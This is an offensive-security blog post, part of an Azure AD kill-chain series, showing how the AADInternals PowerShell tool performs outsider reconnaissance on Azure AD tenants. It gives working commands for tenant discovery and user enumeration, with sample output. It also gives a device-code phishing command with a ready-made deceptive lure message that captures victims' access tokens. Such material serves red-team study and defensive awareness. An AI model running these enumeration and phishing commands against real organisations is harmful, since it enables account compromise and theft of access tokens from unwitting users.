Just looking: Azure Active Directory reconnaissance as an outsider

Just looking: Azure Active Directory reconnaissance as an outsider

This post is part 15 of Azure AD and Microsoft 365 kill chain blog series.

Azure AD and Office 365 are cloud services and most information is available only to the members (or guests) of the tenant. However, there are plenty of information publicly available to anyone.

In this blog, using AADInternals v0.4.0, I’ll show how to gather information of any Azure AD tenant as an outsider.

Azure AD reconnaissance

There are several publicly available APIs which will expose information of any Azure AD tenant:

API Information AADInternals function
login.microsoftonline.com/<domain>/.well-known/openid-configuration Login information, including tenant ID Get-AADIntTenantID -Domain <domain>
autodiscover-s.outlook.com/autodiscover/autodiscover.svc All domains of the tenant Get-AADIntTenantDomains -Domain <domain>
login.microsoftonline.com/GetUserRealm.srf?login=<UserName> Login information of the tenant, including tenant Name and domain authentication type Get-AADIntLoginInformation -UserName <UserName>
login.microsoftonline.com/common/GetCredentialType Login information, including Desktop SSO information Get-AADIntLoginInformation -UserName <UserName>

Some information is also available from DNS:

Record Information PowerShell cmdlet
MX Is the domain accepting mail to EXO (contains mail.protection.outlook.com) Resolve-DnsName -Name <domain> -Type MX
TXT Is the domain sending mail from EXO (SPF contains include:spf.protection.outlook.com) Resolve-DnsName -Name <domain> -Type TXT

All the above mentioned information can be easily gathered with AADInternals:

# Invoke reconnaissance
Invoke-AADIntReconAsOutsider -DomainName company.com | Format-Table
Output:

Tenant brand:       Company Ltd
Tenant name:        company
Tenant id:          05aea22e-32f3-4c35-831b-52735704feb3
DesktopSSO enabled: True

Name                           DNS   MX    SPF  Type      STS
----                           ---   --    ---  ----      ---
company.com                   True  True  True  Federated sts.company.com
company.mail.onmicrosoft.com  True  True  True  Managed
company.onmicrosoft.com       True  True  True  Managed
int.company.com              False False False  Managed

From the output we can see the tenant information of the target organisation, including the tenant name, id and the “brand” name. We can also see whether the Desktop SSO (aka Seamless SSO) is enabled. If enabled, we can find out whether a given user exists in the target organisation or not (user enumeration).

We can also see the names of all (verified) domains and their identity types of the target tenant. For federated domains, the FQDN of the used identity provider (usually ADFS server) is also shown. The MX column indicates whether the email is send to Exchange online or not. The SPF column indicates whether Exchange online is listed as an email sender. Note! Currently the recon function does not follow the include statements of SPF records, so there can be false-negatives.

User enumeration

If the domain has the DesktopSSO enabled (also known as Seamless SSO), we can use the GetCredentialType API mentioned above to check does the user exists in Azure AD.

This includes also guest users, whose username is in the format:

<email>#EXT#@<tenant name>.onmicrosoft.com

The email is user’s email address where at “@” is replaced with underscore “_“.

With AADInternals, you can easily check does the user exists or not (provided that the DesktopSSO is enabled):

# Check does the user exist
Invoke-AADIntUserEnumerationAsOutsider -UserName "user@company.com"
Output:

UserName         Exists
--------         ------
user@company.com True

You can also use a text file containing one email address per row:

user@company.com
user2@company.com
admin@company.com
admin2@company.com
external.user_gmail.com#EXT#@company.onmicrosoft.com
external.user_outlook.com#EXT#@company.onmicrosoft.com

# Invoke user enumeration
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider
Output:

UserName                                               Exists
--------                                               ------
user@company.com                                       True
user2@company.com                                      False
admin@company.com                                      True
admin2@company.com                                     False
external.user_gmail.com#EXT#@company.onmicrosoft.com   True
external.user_outlook.com#EXT#@company.onmicrosoft.com False

Phishing

Phishing refers to various techniques for compromising users’ identities. Typically this involves building a phishing infrastructure, e.g., setting up fake login sites or Azure apps. This may require a lot of work, depending on the chosen technique.

The Azure device code authentication flow can be used for phishing without a need for setting up any separate phishing infrastructure.

AADInternals can be used to send phishing emails to one or more recipients. If the user clicks the link and “accepts” the authentication within 15 minutes, the user’s identity is compromised:

# Send a phishing email to recipients using customised message and save the tokens to cache
$message = 'Dear recipient, <br> Your Microsoft account has been compromised. Login at <a href="{1}">https://microsoft.com</a> to reset your password. <br> Use the following security code: <b>{0}</b>.' 
Invoke-AADIntPhishing -Recipients "wvictim@company.com","wvictim2@company.com" -Subject "Your Microsoft account is compromised - Actions required." -Sender "Johnny Carson <jc@somewhere.com>" -SMTPServer smtp.myserver.local -Message $message -SaveToCache
Code: CKDZ2BURF
Mail sent to: wvictim@company.com
Mail sent to: wvictim2@company.com
...
Received access token for william.victim@company.com

After receiving the access tokens, the attacker can now perform everything an insider can do.

Summary

The publicly available APIs and DNS records can be easily used to gather information about the target organisations.

Tip: To hide your on-coming new products from the public, do not register and verify the corresponding domain names to Azure AD!

Dr Nestori Syynimaa avatar
About Dr Nestori Syynimaa
Dr Syynimaa works as a CIO of eight cities and municipalities surrounding Tampere, the largest inland city in Nordic countries. He also runs his own consultation business Gerenios. Before moving to his current position, Dr Syynimaa worked as a consultant, trainer, and university lecturer for almost 20 years. He is a regular speaker on Office 365 and Azure security in scientific and professional conferences. Dr Syynimaa is Microsoft Certified Expert (Microsoft 365) and Microsoft Certified Trainer.
comments powered by Disqus